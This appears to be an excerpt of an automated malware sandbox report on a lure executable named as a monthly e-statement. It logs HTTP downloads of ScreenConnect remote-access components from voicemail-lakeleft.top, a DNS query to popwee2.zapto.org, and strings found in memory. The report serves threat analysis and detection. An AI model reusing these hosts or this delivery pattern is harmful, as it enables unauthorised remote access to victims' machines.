Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip

Source: global traffic	DNS traffic detected: DNS query: voicemail-lakeleft.top
Source: global traffic	DNS traffic detected: DNS query: popwee2.zapto.org

Source: svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2196025067.0000021CA2779000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288974321.0000021CA2782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS
Source: svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
Source: svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288974321.0000021CA2782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb
Source: svchost.exe, 00000007.00000002.3289021215.0000021CA2E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288225105.0000021CA1EEE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3289640492.0000021CA2EA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb:pp
Source: svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2196025067.0000021CA2779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tbA
Source: svchost.exe, 00000007.00000002.3289318932.0000021CA2E48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tb_
Source: svchost.exe, 00000007.00000002.3289536686.0000021CA2E96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/tbiuk
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: C56C4404C4DEF0DC88E5FCD9F09CB2F10.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: F2E248BEDDBB2D85122423C41028BFD40.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: svchost.exe, 00000006.00000002.3290128804.0000016BAB800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: monthly-eStatementForum120478962.Client.exe, 00000000.00000002.2258446760.0000000000B9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DiN;
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: ScreenConnect.WindowsFileManager.exe0.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: 77EC63BDA74BD0D0E0426DC8F80085060.2.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: dfsvc.exe, 00000002.00000002.2983442666.0000025D39651000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabA
Source: 57C8EDB95DF3F0AD4EE2DC2B8CFD41570.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: dfsvc.exe, 00000002.00000002.2983207645.0000025D39609000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enS
Source: svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2196025067.0000021CA2779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-8
Source: svchost.exe, 00000007.00000002.3289318932.0000021CA2E67000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2261953999.0000021CA2E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 00000007.00000003.2230100183.0000021CA2708000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd$
Source: svchost.exe, 00000007.00000003.2247242925.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2211022757.0000021CA270F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2180029091.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2247172340.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2159753613.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2230521797.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2230497548.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2261678290.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288647499.0000021CA2710000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2180103259.0000021CA2710000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2195977302.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2261895175.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2230100183.0000021CA2708000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2159831592.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2210994178.0000021CA2707000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2159724549.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAA
Source: svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAA
Source: svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2196025067.0000021CA2779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAA
Source: svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAA
Source: svchost.exe, 00000007.00000003.2179818124.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAAA
Source: svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdware
Source: svchost.exe, 00000007.00000003.2120640258.0000021CA2E1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 00000007.00000003.2210994178.0000021CA2707000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd$
Source: svchost.exe, 00000007.00000003.2247242925.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2211022757.0000021CA270F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2180029091.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2247172340.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2159753613.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2230521797.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2230497548.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2261678290.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288647499.0000021CA2710000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2180103259.0000021CA2710000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2195977302.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2261895175.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2230100183.0000021CA2708000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2159831592.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2210994178.0000021CA2707000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2159724549.0000021CA270E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdA
Source: svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAA
Source: svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2196025067.0000021CA2779000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2179818124.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAA
Source: svchost.exe, 00000007.00000003.2179818124.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdAAAAA
Source: svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdware
Source: svchost.exe, 00000007.00000003.2195961016.0000021CA2776000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2196025067.0000021CA2779000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/28
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.6.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.6.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: dfsvc.exe, 00000002.00000002.2981098182.0000025D365DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.c
Source: dfsvc.exe, 00000002.00000002.2979497354.0000025D35E86000.00000004.00000020.00020000.00000000.sdmp, C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F1410.2.dr	String found in binary or memory: http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxX
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, C56C4404C4DEF0DC88E5FCD9F09CB2F1.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: dfsvc.exe, 00000002.00000002.2979497354.0000025D35E86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com:80/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7Nfjgt
Source: dfsvc.exe, 00000002.00000002.2982604639.0000025D395A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.cr
Source: dfsvc.exe, 00000002.00000002.2979497354.0000025D35F30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertTrustedRootG4.crl
Source: svchost.exe, 00000007.00000002.3289021215.0000021CA2E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287754329.0000021CA1E81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288225105.0000021CA1EEE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3289318932.0000021CA2E48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://passport.net/tb
Source: svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: svchost.exe, 00000007.00000002.3288771862.0000021CA2737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 00000007.00000002.3288771862.0000021CA2737000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policyc
Source: svchost.exe, 00000007.00000002.3288771862.0000021CA2737000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc.com
Source: svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scr
Source: svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issuels
Source: svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issueue
Source: svchost.exe, 00000007.00000002.3288119180.0000021CA1ED3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: svchost.exe, 00000007.00000002.3288859808.0000021CA275F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trustf1p
Source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1D6CA000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 0000000B.00000002.3289893133.0000000001FAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1DDBC000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DE0A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DA82000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://voicemail-lakeleft.top
Source: monthly-eStatementForum120478962.Client.exe, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr, ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsClient.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: monthly-eStatementForum120478962.Client.exe, 00000000.00000002.2258446760.0000000000B9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/I
Source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1DCB3000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DC69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.o
Source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1DCD6000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DD3C000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1D9AB000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2973425425.0000025D1DCB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.w3.or
Source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1D740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2core
Source: dfsvc.exe, 00000002.00000002.2973425425.0000025D1D740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.xrml.org/schema/2001/11/xrml2coreS
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287690750.0000021CA1E47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA272C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287725423.0000021CA1E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287628866.0000021CA1E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075692660.0000021CA2763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2076123454.0000021CA2756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 00000007.00000003.2075672208.0000021CA2740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075626421.0000021CA273B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=806014
Source: svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287628866.0000021CA1E2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000007.00000003.2075221311.0000021CA2752000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2075138929.0000021CA2729000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3287628866.0000021CA1E2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2076123454.0000021CA2756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
